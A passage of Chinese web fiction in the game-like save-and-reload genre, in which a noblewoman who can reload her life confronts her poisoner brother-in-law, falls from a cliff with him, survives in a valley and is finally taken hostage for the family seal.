“少夫人画得真好。”芹郁指了指用“点”概括的鼻子,“这是公子脸上淋到脏东西时的样子吗?” 你教她们看这类的画:“这是简化了的鼻子,我只画了阴影。嘴唇也只画下唇,因为这样看着比较好看。” “但是公子怀里没抱着花呀,这种花是什么花,好漂亮。” “这是强瞿花。” 院门没关,谢玟进了院中,被这边的热闹吸引过来。先与谢珩见礼,又受了这些丫鬟们的礼节,询问。 “在做什么?” 你专心晕染:“在产出。” “?” 谢珩回他:“筝娘在为我作画。” 谢玟笑道:“闺阁意趣,好生羡慕。五弟得此妻,真是上辈子修来的福气。” 谢珩喜欢听这种话。 “三哥也会遇见自己的良缘。” 谢玟笑意淡了淡:“希望。” “三哥来这,是叫筝娘去练射艺吗?马上要用午饭了,外面太阳正热着,再过两个时辰如何?” 谢玟道:“可,你们说了算。” “对了,今晨宫中传来消息,天子病了,病情来得急重。家里安排小辈十日后去守一观给天子祈福。你们两个都得去,大概要住上半个月,这些天,吃穿方面提前准备,不然到那边怕是用不惯。” “多谢三哥。” 话带到,他便要离开。走之前笑眯眯望了专心画画的你一眼,对谢珩道:“你们感情真好。” 你冷不丁插话:“比不得你和小玉。” 谢玟:“……” 正好外出求证的柳儿回来,眼神不善地看了谢玟一眼,显然查到了什么。 看来还真是他。 谢珩脸上的笑僵了僵:“小玉是……” 你朝他笑:“我给你起的小名,喜欢吗?” 没等谢珩反应,谢玟先笑了声,盯你的眼神意味深长,无端泄露几分机锋。 “还是弟妹有心。家中虽依玉落名,但除了五弟,我们的名字都不过是近玉的美石。” “三哥不必难过,石头才好呢,玉可是磕碰就要碎掉了。” 你看向他,这是今天的第一眼。 “我会守好我身边这块玉。” 第53章 柳儿天未亮便外出, 查到老祖宗库房的鱼干粉少了一部分。 “是门客献给猫冲水喝的,但老祖宗那只白猫不赏脸,就压在库房里一直没用。我去搜时发现缸身落灰, 盖子一尘不染, 就猜有人动了手脚。” “鱼干粉有什么用处?” “爬虫喜腥, 诱捕之人常用此法。我回来后在咱们院里搜过,虽经风吹日晒, 看不出痕迹,但仔细找还是找得到和土混到一块的粉末。” 她拆开手帕包的土给你看。 “为何怀疑谢玟?” 柳儿目光狠厉:“那日他来,我便闻出他熏香后的腥味, 以为他是吃鱼留下的, 但寻常人鱼肉进腹,至多在口中留腥, 他却在手腕左右,也没听他近日垂钓过。” “一定是他借教小姐练箭, 亲自跑来院里下引。致命的毒不是出自他手,小姐出事也找不上他,我平生少见行事阴狠至此的人!究竟哪里来的仇怨!” 你握住她的手:“冷静,我来处理。” 将柳儿安抚一顿, 让她不要声张, 你换了身方便行动的衣裳去练武场。 有谢珩在, 全程谢玟都没跟你搭话。你握着细弓,心里琢磨如何对付这个人。 他的目的在哪? ——杀了你, 让谢珩心灰意冷, 自毁前程。 ——让你中毒,他作为知情者提前配好解药,用解药威胁谢珩, 交出他想要的东西。 总之都针对谢珩。你是冤大头,是计划的牺牲品。 你站在箭靶前,射了两箭调整手感。 第三箭,满弓松手,箭如电闪般迅疾,稳中红心。 身后两人的闲谈声停了,怔怔看着你这一箭。 谢玟若有所思:“五弟私下教过弟妹?” 谢珩摇头:“……不曾。” 他垂眸而笑:“我说过的,筝娘很聪明,她什么都能做好。” 谢玟无语片刻,去挪远靶子。 你像上个存档里一样朝他捏箭开弓,没急着发,等他安稳了箭靶,回身望见你时,你在他的注视下松手。 箭如飞针般朝他射去,谢玟冷眼与你相视,箭尖穿破他的耳廓,鲜红的血珠从缺口涌出,先是几滴,后来满溢如红菱挂在他的耳尖,迎风淋漓。 还想再射一箭,手被谢珩握住。 他震惊望你:“不要,筝娘,为什么?” 你收弓在侧,不做解释。 “我讨厌他,以后别再让我见到他。” 背身离开,谢珩嘱咐阿问去给谢玟叫医师,跑了几步追上你。 “筝娘,为何突然发脾气?” “三哥哪里惹了你?” 你看了看他牵上来的手,“傻子。” “我让你以后不理你三哥,你听不听?” 谢珩疑惑:“为什么?” “我答应。” “你说什么,我答应什么。所以,不要再做今天这样冲动的事了,要是受伤怎么办。” 你稍微满意。 见你脸色转缓,他指头扣进你的指缝,有些发愁。 “三哥其实不坏的,就是易把人惹恼,连筝娘这般好的人也讨厌他。” 你扬眉:“可怜他?” “你说说他哪好。” 谢珩道:“君子六艺,世家无人出其右。他从小就比我们聪颖,不过……因我讨曾祖母喜欢,大人们为了奉承老人,什么事都只夸我,久而久之,三哥就灰心不学了。” 你叹了口气:“就没想过大人夸你,也是因为你夸得出口吗?” 当日下午,二府的夫人来院里闹了一顿,被谢珩拦住,没让她见到你。 她骂得很大声,那是她的嫡子,无论如何都是捧着长大的,却被你这个外姓人射破了相。 “不就是仗着老祖宗在世给你们做主?我们琼文可怜,从小就不招人待见!可即便如此,也没你们无端伤人的份啊!” 柳儿黑着脸要出去理论。 是谁先心怀恶意接近?是谁先害人性命?她家小姐不过让他受了些皮肉伤!如果那天弓在她手里,她非要把人射穿不可! 翠儿拦她,让她看你的脸色。 你毫不在意地翻着话本,还是蛇女。随手往中间夹了页纸条,递给翠儿,让她交给谢玟。 交给他,这些麻烦就都会没了。 现在手握把柄的人是你。 翠儿照你所说的做了,不一会,在院门外闹的二夫人就被人请走,之后再没人因你射伤谢玟来找过麻烦。 连续几日泼着大雨。屋子里阴冷,被褥放得潮了,身上起了零星的红点。 芹枕芹郁在廊下拿火烤你的贴身衣物,用了些香叶,熏得味道很好闻。 翠儿踱步到你身前,递一卷纸条。 “小姐,是桓家来信。” “……” 你想起遥远的回门日,那天和桓守临做了个约定。本来以为你被大皇子为难时他便算毁约了,没想到这个时候他还能厚着脸皮找来。 卷开信纸,里面问你要谢珩的缺点,以统领五百人的兵符作为交换。 五百个人,听起来不够塞牙缝的,但安排在一起站着,似乎院子塞满了都塞不下。 他要谢珩缺点干什么? 作为政敌中伤他? 等了几个时辰,谢珩放值回来,你把密信给他看。 “我怎么说?你觉得他是什么用意?” 谢珩沉默思索,片刻:“我亦好奇,筝娘心里我的缺点是什么。” 你坦言:“钻牛角尖,心思重,很会纠缠人。” 像是没想到你真的会说,他眸子黯淡下去,背过身:“……如实写给岳丈吧。” “……” 你笑,“我哪个词说错你了?” 戳戳他,他不动。你便抱住他:“你来写如何?用你的字迹,给这个厚脸皮的一点颜色看看。” 谢珩声音低落:“筝娘是想让我承认自己的缺点吗?” “要你承认,你怎样?” 他道:“我会承认的。” 回身抱了抱你,他从桌上拿起笔,一字一字认真写。 【善妒心有城府 胡搅蛮缠】 顿了顿。 【丑陋不堪】 你探头瞧他:“你这样写,前面的缺点都跟假的一样。” “所以,我在筝娘心中便真如此?” “钻牛角尖,我说错了吗?” “……” 绊了几句嘴,密信发还回去。 问谢珩的缺点,让他本人亲笔再递回去,这般明显的愚弄态度,竟然也从他那换来五百人兵符。 【城东卫五百精骑,凭此符号令】 他敢给,你不敢用。随手扔进抽屉,去外面看翠儿柳儿收拾行李。雨下得重,离不开伞,她们将伞柄放脖子和肩膀间夹着,有条不紊地整理物件。 “多带几床被子,天晴了拿出去晒。山里潮湿多虫,床上的东西都得一天一换。” “带些素色的衣裳,别让小姐在外面被人挑出错处。” “弓箭带着。” “琴带吗?” 你朝她们颔首。 带,箭玩够了,这几天没事打算学琴玩。 同一时间,不同走向,在孙惟档和大皇子档里皇帝都没有突然病重。 所以你猜,他这次的急病可能是因为谁下毒。 不关你的事,你要去山里度假。 “驱虫的药包都带着,别落下。这些新缝的荷包也拿去。” 阿问怨念地叫嚷:“还装!我们公子的衣裳没地方放了!” …… 乘上出门的马车。 因是族中组织的道观祈福,路上行走的长龙一眼望过去全是谢氏的马车。整条街的纸伞,人语声和雨交织在一起,听着也湿润发潮。 走了一段时间,雨渐渐下起了雾。窗外见山,你掀开窗帘呼吸山林中的空气,是一种非常沁人心脾的凉冰冰的感觉。空气里掺杂着土腥,还有新鲜枝叶的青涩。 身后传来谢珩翻书页的声。轿厢阴暗,他点了盏灯照明。 你被外头的湿气吹冷了,往他身边缩缩,最后抬起他的手臂,钻他怀里靠着。 谢珩将下颌抵在你头顶,蹭了蹭,继续看他的之乎者也。 就着他平稳的呼吸声,你慢慢睡了过去。再醒来,身上披了一件斗篷,车里的人不在。 马车停在了道观外的山脚下。雨停,天还阴着,不时传来轰隆隆的雷声,像是随时都能再下一场。 翠儿柳儿守在马车边,听见你醒了,掀车帘问你饿不饿。 你摇头,望成堆停放的华贵马车。有人留在马车里,有人去了亲戚的马车上叙话,有人的车里是空的。 “发生了什么事?” 翠儿道:“宫中派人将二府的老爷抓走了,罪名是毒杀陛下,人证物证都找齐了。” 柳儿补充:“这次是崔氏给宫里撑腰,感觉二老爷像是挺不过去了。” 你思考:“谢氏这种大族,遇见别人泼脏水,会就这么善罢甘休?” 翠儿道:“小姐说得有理。” 柳儿轻嗤:“说不准不是脏水,是他真的做过……” 话音停到一半,她凝神侧耳,拉住翠儿,“你听。” 翠儿往声源处望去。 有骑兵的策马声,不是官府训练的官兵,这种纷乱的马蹄声与兵器切地的声音,只有山匪做得出来。 已经看得见远处黑压压的人影。翠儿踹了一脚马车,踢出暗格,将里面的两把剑抽出来,和柳儿一人一把。 白色剑身有凛冽杀气,她们站你身前,“小姐!进马车!” 你敏锐感到了局势的危急,为了不拖后腿,干脆利落地藏进马车。 不出半分钟的功夫,外面响起激烈的打斗声。 你有离家前的存档,并不恐慌,但也不喜欢自己被人无缘无故伤到。 谢珩去了哪里? 这种地方出现山匪实在巧合,像是提前埋伏好,奔着谢氏族人杀过来的一般。 谢氏树敌并不罕见,罕见的是谁会在谢二叔倒台后落井下石。即便最后将他处死,也只是死了个家主。谢氏百年累积的不是人,而是声望与财、权、兵。 你想得入神,听到翠儿惨烈一声:“小姐!” 有长刀刺入轿厢,险些割掉了你的鼻子。 翠儿拼了命冲过来,将那山匪踹翻割喉。 “带我们小姐走!求您了!” 马车动了,有人坐到车夫的位置。 第54章 马车路行颠簸, 连番刮断不少树杈,最粗壮的一枝险些将轿厢掀翻。 你扒着车窗后望,几名相貌粗犷的男子追在不远处, 见你伸头出来, 他们恶狠狠将刀掷向你。 你有过一瞬间想尝尝人首分离是什么滋味。但还是不好奇了, 说不定要留下心理阴影。 闪避进车内,利刃刺木, 车壁传来“咚咚”几声。谢氏马车制用上等楠木,如若是寻常木材,此刻怕是已经散架。 “不用追了!前面是断崖!他们逃不掉的!” “……” 断崖?选了上山的路逃? 谁? 你掀开车帘, 谢玟绷着侧脸, 攥着缰绳的手发白。 “你在想什么?” “是‘我要死在这吗’,还是‘我不得不陪她做戏到什么时候’?” 谢玟脸色苍白, 没有因你的话发怒,而是勾起一抹勉强的笑:“听不懂弟妹说什么。” “我好歹在救你, 不必有这般大的敌意吧?” “那三哥要怎么救我?” 眼看着马车行至崖边,他眼神定住,连日的雨仿佛下进了他的眼里,残积一片模糊的阴霾。 死到临头, 他扬起唇角, 回手将你从车内捞至怀里。 然后弃车跳下山崖。 坠落的过程十分短暂, 根本没有空闲去四目相对转圈圈。总之主角该有的配置游戏也给你了,逢悬崖必有水垫。 破入水面的刹那, 一股闷痛收缩的力量将你挤压。 湖水冰冷刺骨, 激得你吐出好大一口气,水泡从你唇边生出,咕噜噜向上漂远, 扭曲破开。 视野的四框泛起熟悉的红光,是游戏提醒你快要溺水。 你将【痛觉off】打开。 眨眼之间,除了意识渐渐模糊,仿佛还活在陆地上一般。 你睁着眼睛看水中世界,原来和水上差不多,也有树长在底部,枝丫像新发芽的松树,只是阳光太少了。 眼前漆黑,是快要死了吗? 准备好读档按钮。 唇被谁覆盖住,有气吹了进来,变黑的视野重新出现光亮。 游戏里的身体就是这样,【中毒】状态喝药就见效,【溺水】状态人工呼吸就有用。 谢玟拉着你上游,一直到岸边,你都神情淡淡的。仿佛呛水快要死掉的另有其人,不是你。 他撑着地累喘许久,回头望你一眼,笑。 是那种看得出好感的笑。 “你好奇怪。” 哪里奇怪? 比他私下写皇文还奇怪吗? 你没理他,静静体会身体运转,一股股往外吐水。 失去痛觉,大脑无法支配身体,只能等它自己排异。 “不理我,算了。” 他站起身,感慨地扶着右侧手臂。浅蓝的外衫被水浸透成暗色,还掺有血迹。 应该是在坠落的过程中刮树受伤。 你低头检查自己,动动四肢,很幸运,没有异常的地方。 吐水的症状慢慢减轻,你将【痛觉on】打开,一阵寒风灌过,吹在湿衣服上如刀切般,你又把【痛觉on】关闭了。 翻【人物档案】。 谢二叔在崔氏的助力下被缉拿入狱,证据确凿,即便保释出来也不再能担当家主之位。老祖宗叫谢珩回去,是要让他做家主,承袭谢二叔的丞相之职。 谢府的人叫得急,他走得也急,走时并不知道家里叫他回去是为这个。 估计留在山脚下的那些谢氏家眷也都不清楚家里发生的事,谢二叔会因为一次诬陷倒台,家主之位要传给谢珩这种小辈。 老祖宗究竟有多喜欢这个曾孙? 你并不觉得谢珩适合做领导者,他如果真坐上那个位置,估计也要被身后的叔伯推着往火坑里走。 天快黑时又下了雨,没开痛觉所以感知不到。你坐在湖边不动,想等等看事情要怎样发展。 只有这个档停留得够久,触碰到事件的真相,回溯时光才有意义。否则在这种不清不楚的状态回档,除了重蹈覆辙,不会有任何突破。 “连找棵树避雨都做不到吗?” 谢玟撑着自己的外衫,将你遮在里面,目光戏谑:“还是撞到头把你给撞傻了不成?” 有他撑着衣服遮挡,你得以睁全双眼。阴沉的雨幕里,你望着他的眼睛,将里面的虚情假意逐一分辨,剩下的是空明的算计。 他想做什么呢。 你的眼皮渐渐发硬。 你的状态不对,谢玟空出一只手碰你的额头。 “发热。” 他将外衣披在你头顶,迎着雨在你身前蹲下:“爬上来。” 你没推辞,爬到他背上,全身重量压着他。 他问:“很难受吗?” 你默了默,开口,听到自己变哑的声音:“困。” “别睡!” 他步伐急促地往一个方向走。路上泥泞,有一行脚印,是他刚刚探路走过的。 谢玟背着你进入附近的山洞。将你放在靠墙的地方,他收拢地上积攒的干树枝,从袖中翻出火折子。 被雨淋太久,火折子吹不出火来。他冷着脸将东西扔远,捡了两块石头在手里敲来敲去。 你硬忍着困意,从背包里翻出专门点【暖情香】的火折子给他。 “用这个。” 拿到干爽的火折子,谢玟眼中划过惊异。没多问,他将火苗吹起来,点燃那些干树枝。 橘色的火光照亮山洞。你看清了洞穴的全貌,高约两米,深有七米,到处是干枯的落叶和树枝,似乎是之前的大风天气从外面吹进来的。 倒是方便了落难的行人。 你们正是第一批落难至此的人。 用干叶子堆出能躺的地方,他过来扶你:“还能脱动衣服吗?” 你没回话,他解释:“你现在高热,浑身湿透睡着会加重病情。我等下在你身边点一簇火,你把湿衣服脱下来,搭在火边。放心,我不偷看你。” “……” 谢玟侧头,见你眼皮已经合上,慌忙摇晃你。 “别睡!” 你于是撑着意识,点头,开始解衣带。他被自己绊了一脚,加快步子把你放到干草叶上,点完火,支起木架,背过身去到远些的火堆旁坐着。 脱光了湿衣服,随意搭到木架,你钻进草叶里,找一片厚实些的盖着肚脐睡去。 一觉睡了很久,睡得很疲惫,睡醒浑身也没什么力气。 烤干的衣服盖回自己身上。 没想太多,你从里到外穿好,撑着山洞石壁起身走到外面。天已经放晴,地面的积水快被晒干。 这是睡了多久? 你试着将痛觉打开,没有太大的感受。 打开【数值页面】 【体能12/30】 【健康50/100】 你做伸展运动,活动身体。 还算正常,能用。 “醒了?” 谢玟背着打捆的柴,手上拎鱼,面色平淡,“再等一会,鱼很快烤好。” 你跟着他坐到火堆边,这里放置了几块天然类碗的石块和做筷子的木枝,有使用的痕迹,像是他这几天使用的餐具。 “我睡了多久?” “三天。” “也不算很久。” 睡了三天,是胃还没有醒过来的缘故?你没有饥饿感。 “有人来找过我们吗?” “并无。”他生疏地料理着长鱼,看上去是一点不会,只知道剩鱼肚,脑袋以上全部砍掉,手法残虐。 “我们有出去的路吗?” “按理来讲,马车行至断崖处,崖底该是山脚。但这边更像一处与世隔绝的谷地。” 他笑着抬眼:“你昏迷时,我不能离开太久,要是回来见你被野兽吃的只剩个骨架,我没法跟子瑜交代。” 你点头,“吃完饭后我们去找出去的路。” “正有此意。” 你与他围坐在火堆前。 泡过水的树杈插的鱼,在火焰的烧灼下,散发开肉的糊香。 你的火折子已经被他用尽,现在用的是他留灰自制的。 鱼好了,他大方地分你一面鱼腹,你忍着腥味咬一口,原封不动地吐出来。 “好难吃。” 谢玟道:“比不得子瑜,我没有妻子,未曾学过厨艺。” 你盯着他,在你审视的目光中,他淡然将难吃得要死的鱼肉吞进去。 “忍着吃些,不然要怎么活?” “……” 你被说服,再次拿起鱼肉,屏住呼吸,往下吞咽。 肚子填饱了,体力完全没有变动。这样也合理,难吃的东西会让精神变得疲惫,就算摆脱了饥饿状态,也不可能提升体能。 饭后寻出路。 谢玟走在前面,你跟他身后。他精力充沛,你常要他停下等你一段路。于是他折了截树枝,你握着一端,他握着另一端,由他带着你往前走。 但还是很累啊。 你坐到地上:“不走了,我不走了。” 谢玟笑看你:“小心蛇虫。” 你老实站了起来:“你背我吧。” 谢玟的笑僵住。 “男女授受不……” 你打断他:“不是背过?” “事急从权,是无奈之举。” “你不背,我就不走了。” 谢玟脸上的笑彻底消失,与你无言相望,片刻,叹了口气,背对你蹲下。 “弟妹不是之前还在恨我,恨我恨到用我教你的箭杀了我?” “吓唬你罢了。我要是想杀你,岂会等你看见了才动手。” “说这些是想我夸你活泼可爱?” “三哥用计不见首尾,难不成是想我夸你足智多谋?” “……什么意思?” “还要装傻吗?让我想想,从哪问你。” “柳馨是你的人?” 他的脊背松了些:“五弟的桃花还是不要从我身上找了。” “所以毒是你设计下的。” “……” 他笑:“什么毒,弟妹有中过毒吗?” “托你的福,还不是一种。那日你找我练箭,不是见识过我中毒的样子吗,可能是怕我死不成,还另外设计了别的毒给我。” 你摸他耳朵上被你伤到的疤痕。 “杀了我,你会后悔的。” 被你摸过的地方很快热得发红。你听到他略微明显的喘息,可能是背你背得累了,也可能是别的什么。 “弟妹,冤枉人也要讲究证据。” “不好奇我为什么说你会后悔?” “……没做过的事,无法理解。” “你这样嘴硬很可笑。” “那怎么没见你笑?” “你脖子断了回头看我,我自然就对你笑了。” “弟妹说笑。” “那怎么没见你笑。” “弟妹若凑我面前,自然就能看见我的笑……” 你扳过他的脸,挪向前方对他,语调放慢:“笑给我看啊。” 第55章 四目相对, 你在谢玟眼中看到叶片透下的亮光,以及星星点点的怔然。 视线向下,盯到他鼻子侧面长的一颗小痣, 拿手戳了戳。 “驾。” “……我是马?” 你不语。 他将头别正回去, 往上托了托你。 你感觉到他只有左侧的胳膊在使力, 翻他后领,发现他右侧臂膀往下有一条狭长伤痕, 看着触目惊心,伤口还泛着血滴。 这是在跳下山崖的过程中,他为保护你而受的伤。 最终, 在天黑之前, 你们没有找到树林的出路,在野兽的嚎叫声里原路返回到山洞。 一路上你拆着手串的珠子留作信号。扔得不剩几个, 谢玟才发现你在扔什么,震惊到失语。 “……你把老祖宗给你的手串扔了?” “不行?” 他想了想:“行。” “扔吧, 扔了你回去好跪祠堂。” 你没理会他的落井下石,只道:“这东西珍贵,经过的人认识不认识都会捡回去找识货的卖掉。几番周转,说不定能被谢家发觉, 到这边找到你我。” “弟妹有所不知, 就算把我拆了卖掉, 都不值这手串中的一颗珠子。” “没事,我值。” “……” 无言回到湖边, 谢玟把你放下, 蹲在地上缓了片刻,才苍白着脸起身,将火升起。 火光在浓墨般的夜里燃烧晃动着驱赶野兽。 他脱去半边衣衫, 借月光清洗伤口。血将湖水染得浓郁,波纹乱起向湖心推动。 在衣摆上撕下一块长布,勉强包扎伤口,他又就着水清洗头发,发尾沾水濡湿成绺。 你抱膝坐他身后不远,注视那截珍珠般亮白的手臂,隐约起伏的肌肉轮廓被冷水冰得绷紧,恍惚之间,眼前又浮现他鼻侧的那颗痣。 从思绪中抽身,夜风自四面八方扑来。你缩了缩脖子,谢玟仿佛长了第三只眼睛般:“冷了?” 你觉得他很像啄毛的鹤,人哪有坐着洗头发的。 “你想做的到底是什么?” “……” 仿佛什么都没说过般,你收紧领口:“冷了。” “稍等。” 谢玟动作加快,将发尾上的血迹洗去,湿发拧干水分,盘到头顶用树枝簪好。 等的间隙,你幻想如果是别人在你身边,他们会做什么。 孙惟大概会病得没有精神,送吃的给他,被他用崇拜的目光望着,直白地向你奉献身体。 谢珩会用一种奇异的速度入乡随俗,想尽办法让你过得好些。 司马煦。 他要是知道你冷了,应该会去杀只老虎之类,剥皮晾干给你披着。但是兽皮味道很大,你一定拒绝。 ……他还活着吗? 你随脚踢了一块石子,在无边的月色下莫名有些感怀。 一生太短了。 人总是向前走的。 你不为任何人停留。 回到山洞,他又点起两堆火,比外面稍微暖和些,至少没有那么畅通的风。 你放松肩膀,窝进那堆藏了你三天的干叶里。 天黑,却睡不着。 例行查了一顿人物档案。谢珩现在是疾病状态,有了家主之位,他的人物卡变成了金色边框。 他一直在找你,但是始终没有消息。 这不是深山,只要知道人是上了山失踪的,几天过去,总该查到断崖谷底。 何况马车还在上面。 是有人把痕迹抹除了。 “三哥,给我讲个故事。” “八弟如今睡觉都不用婢女讲故事了。” “不是睡前故事,这叫听书。” 你翻身面对他,在并不明亮的光线中找到他的眼睛。 “给我讲讲花男和农女的故事。” “……” 他保持微笑的面容碎了,神情沉下去:“我倒是没问过,你怎么知道我是那些话本的作者?” 他做事从不留痕迹,所以有这个自信,不该被人发现。 你是从何而知? “我是仙女,你在梦里把秘密亲口告诉我。” “……” 谢玟沉默片刻,侧头一笑:“不说算了。” “是真的。”你侃侃而谈,“在梦里,你还给我讲了花男的故事。花男最后被主人榨干蜜汁,枯萎凋零,化成泥尘都不甘放过他迷恋的女子。你很会写胡搅蛮缠的男人。” “……” 你是怎么知道这些发展的? 他问不出口。 就连他,都是方才经过泥泞的泽地时想到这个结局,没跟任何人说过。 你是怎么知道的? 你当然是读档知道的。 利用存档功能,费了些手段,比如他不说就非礼他之类,气息杂乱时从他口中撬出了结局,回到没问之前捉弄他。 谢玟定定看了你许久,眼神从防备到迷茫。 他站起身,坐到离你近些的位置。 “仙女就能知道所有事吗?” 你道:“仙女无所不知,你可以随意提问。” 谢玟道:“那你说说看,我现在心里在想什么。” 你点头,“行啊。” 存档。 你从干叶子里爬起来,在他目光的追随下坐到他身边。 “三哥,你在想什么?” 谢玟:“……” 他露出耐人寻味的微笑:“这是你的神力?” 你捏着他的下巴,凑近:“不告诉我,就非礼你。” “……” 食指沿着他下颌滑动,到他的唇边。他垂眸盯你动作,睫毛长得均匀,像把小扇子。 “你在想什么?” 他开口:“现在?” “是你刚刚问的时候。” “什么都没想。” 读档。 “那你说说看,我现在心里在想什么。” 你自信道:“什么都没想。” 谢玟幽幽望你:“答错了,仙女。” “我在想,你是不是在家也这样骗子瑜。” 读档。 “你在想,我是不是也一样骗过子瑜。” 谢玟:“仙女再想想?” 你从叶子堆里坐起身,怒目而视:“骗我!” 怒气在心里走了一圈,你平静下来。毒过你的人,谎言对他来说太不值一提。 “既然猜错了,就告诉我答案。” 谢玟朝你笑,火光柔化他的面容。 “我什么都没想,逗你而已。” 读档。 “你什么都没想。” “我想了很多,仙女。” “想没想你自己知道。” 之后的几天,你都在跟他玩仙女猜谜的游戏。 因为你不喜欢疲惫的感觉,所以白天只有他一人出门探路。 天黑之前,他从森林深处回来,你猜他在衣袖里带了什么。 “兔子。” “给你。” “橘子。” “吃。” “花,为什么捡这个?” “送你。” “小鸟。” “烧了吃。” 下雨了。 闲来无事,你在山洞里拿树枝和叶片捆绑做伞。 谢玟和毛茸茸的白兔面面相觑,心里想怎么把这个小东西弄死吃肉,面上却能淡然喂它吃草。 “我不吃兔子肉。” 谢玟眉毛都不抬:“你不吃,这一天就要饿着。养它不就为提防这种日子?” “我是真的不吃。兔子怎么处置是你的事,毕竟是你在养,不关我的事。” “……” “我有时会想,你怎么能冷情到这个地步。” “你想多了。” 建模而已。 “难道你踩到草上,我也要哭一哭吗?” 谢玟捏了捏兔耳朵,面上带笑。 “算了,那我们饿一天吧。” “三哥真是多情。” “过奖。” 你被伞的骨架难倒,扔了摊子在那,回身跟他聊天。 “我好无聊,给我讲个故事听。” “你把我当什么了?” “三哥不就是干这行的?” “那无所不知的仙女,怎么不自己去看我在未来写的故事?” 你想了想:“你写了仙女和落难公子的故事。” 谢玟笑了声,手盖住兔耳朵:“仙女的故事不好写吧,不算泄露天机吗?” “你为什么写话本,还是禁忌的那种?” 谢玟道:“一开始只是写讨厌的人泄愤。不可一世的人在我笔下,也能低贱如尘埃一般。” “后来呢?” “后来觉得故事里不该只有讨厌的人。” “只有在编话本时,我才能躲进另一个无人打扰的世界。” 相处得久了,他能跟你说上几句真心话。 你问:“那个被你写进黄文的倒霉的人是谁?” 谢玟道:“我爹。” “他现在应该死了吧。” 你打开【人物档案】看了一眼:“没死。” “你们家人不可能那么容易死。” “那真遗憾。” 喂小白兔吃了几片树叶,你问:“你写了那么多故事,最喜欢的女主角是哪个?” “蛇女,公主,还是世家小姐?” 谢玟默了一瞬:“你是把我所有的书都看了一遍?” “是你提问的时候吗?” “……” “非要说的话,是世家小姐。” 你陷入思考。世家小姐这本是他销量一般的作品,柳儿买回来读了一遍就扔到箱子里落灰。 他喜欢这个角色哪里? 思索中,你挪了挪腿,保持一个姿势坐在地上有些酸麻。 不经意抬头,对上他仿佛在雨幕中一并淋湿的双眼。 嗯? “我……!” 他眉头忽然蹙了起来。 低头,原来是兔子将他的手指咬破洇血。 “你很倒霉,我认识你开始,你受了大大小小不少的伤。” 看着他习以为常的撕衣摆包扎动作,你如此评价。 他脾气不错,被咬并不迁怒兔子,该喂的叶子还在喂。 天际划过闪电,劈得天空出了裂缝。紧接着是巨大的轰隆声,兔子吓得将头缩了起来。 你将脸朝向洞口,一阵卷了雨滴的风拍打进来,将你的头发全部吹至脑后。 “冷吗?” 近在耳边。 第56章 冷吗? 冷。 卷了雨丝的风快要把人吹透。他还在犹豫要不要抱你, 你直接向后一靠,倚着他微微起伏的胸膛,摆他的手到身前。 有人的体温做后盾, 尖锐的风也柔了几分。兔子蹦跳到你的腹上, 沉甸甸的重量压着你, 蹲身下来趴好。 指尖戳了戳兔子的绒毛,它乖乖被你抚摸, 长耳朵都平了下去。 谢玟伸手去碰,兔子就发狠乱咬,他只好收手到你身侧。 你笑他, 握他的手到兔子的背上。 “摸吧。” 有你做掩护, 兔子勉强容忍他。 于是他靠在你的肩上,隔着你慢悠悠摸着兔子。 “筝娘和传闻中不大相同。” “说说看。” “我以为你会是个心机深沉的女子。” “玩玩兔子, 在你眼中便天真烂漫了?” 雨势愈大,声如筛豆般震耳, 又有种向死而生的透彻。 “小小年纪,凭本事在宫中站稳脚跟,明面深得九殿下信任,私下积攒官员把柄, 要挟得动半个朝廷为你行事。” “我以为你会更狠些, 更聪明些。” 你将兔子拎腿抱起来蹭额头:“我的聪明够用了。” “总比自作聪明好, 是吧?” “……是啊。” 后颈覆盖上一片温软,像叶片飘落到水面般, 他的气息逐渐将你笼罩其中。世家的公子即使落难, 也没有摒弃他的风度,每天都把自己打理得干干净净。 束腰的带子松落时,他扶着你的脸面对他, 清逸幽深的双眼以一种复杂的目光注视着你。 吻要落下,你抬手挡住他的唇。 “这不是给你亲的,也别动我。” “你应当是不了解房中事,才做这般让人困扰的举止。看在你是子瑜三哥的面子上,我可以教教你。” 谢玟面容冷了下去,“非要提他吗?” 你笑:“不提他,你跟我之间还剩什么?” “可以把你的衣服脱了。” 谢玟黑着脸,被你的话气到。 本欲起身远离你,却被你攥住指尖。 在你毫无扭捏之色的眼神里,他起了一丝胜负欲。 当真如此纯粹,半点不在乎? 他负气解下腰带,脱至里衣。 你捡起他扔到地上的衣服,围在自己身上。被若有若无的沉香围绕,你抱着白兔倒进叶子堆,有些发困。 谢玟被你在一旁晾着,许久,蹲到你面前笑:“弟妹还没说想教我什么。” “嗯……”你想了想,随意道,“教你点有用的,你话本写错了很多地方。” “……”事关话本,他正了正色,“哪里?” 你酝酿片刻,开始吐槽。 “人的身体不要干十天十夜,想抛光断掉吗?” “女生不是只要口口就能口口口,塞进去的东西太奇怪你会被打。” “逻辑有问题,都被抱着了,还怎么踩脚。” “亲嘴之前先拨拨头发,不然会吃进去,要男女主在嘴里炒头发吗?” …… 陆续讲了很多你看话本时记住的不对的地方,起初听得认真,到后来,他脸上挂着讥讽的笑。 “你与子瑜就是那么做的?” 你把他的衣裳盖过脖颈,“不然?我要睡觉了,别跟我说话。” “……” “……你盖着我的衣服。” “是你问我冷不冷,我以为你是这个意思,原来不是吗?” “……” 把他气笑了。 稍微眯了会儿,你还是感觉冷,于是掀开外衫的一角,朝他招手。 “过来一起。” 迟疑良久,他与你相拥而眠。 虽然什么都没发生,但雨天之后,你能感到他对待你的不同。 再有出门,他开始强硬要求你也跟着出去转一圈。比起寻找出路,他更像是在玩一场游刃有余的野外求生,遇到结了果子的树,压低树枝让你来采。 等你走累了,他再背你回去,黏在一起的时间越来越多。 你没有忘记自己的摸清局势的初衷,他却忘了自己来到这里的目的,牵你的手越发自然。 “我们永远不被人找到,永远留在这,也不错吧?” 你举起他烤的鱼:“每天让我吃难吃的东西,你哪来的脸说这种话。” 谢玟轻笑一声,凑身要吻你,你拿他烤的鱼点他嘴唇。 “别碰我。” 那只白兔不知在第几天消失,回来时,带着一群不怎么会睁眼的小黑白兔们。 你惊喜地叫谢玟来看。 他神情不大对劲,慢吞吞挪步而来。你在他手上看到有白光闪烁。 终于。 终于要结束吃不好饭的日子了。 这场逃难的戏码就此落下帷幕。 “别动。” 小巧精致的匕首抵在你脖子上,冰凉的一条线。谢玟推着你往山洞外走,一群官兵围在湖边,为首的人是多日不见的谢珩。 他明明在家里过锦衣玉食的生活,形容却比你还要憔悴。望见你的瞬间,他双眼通红,想上前找你,只是他的接近使谢玟压深那把匕首。 “子瑜,把家主之印给我。” 谢珩悲伤望他:“三哥想要,为何之前不说?” “家主之印,承袭文书,都给你。” 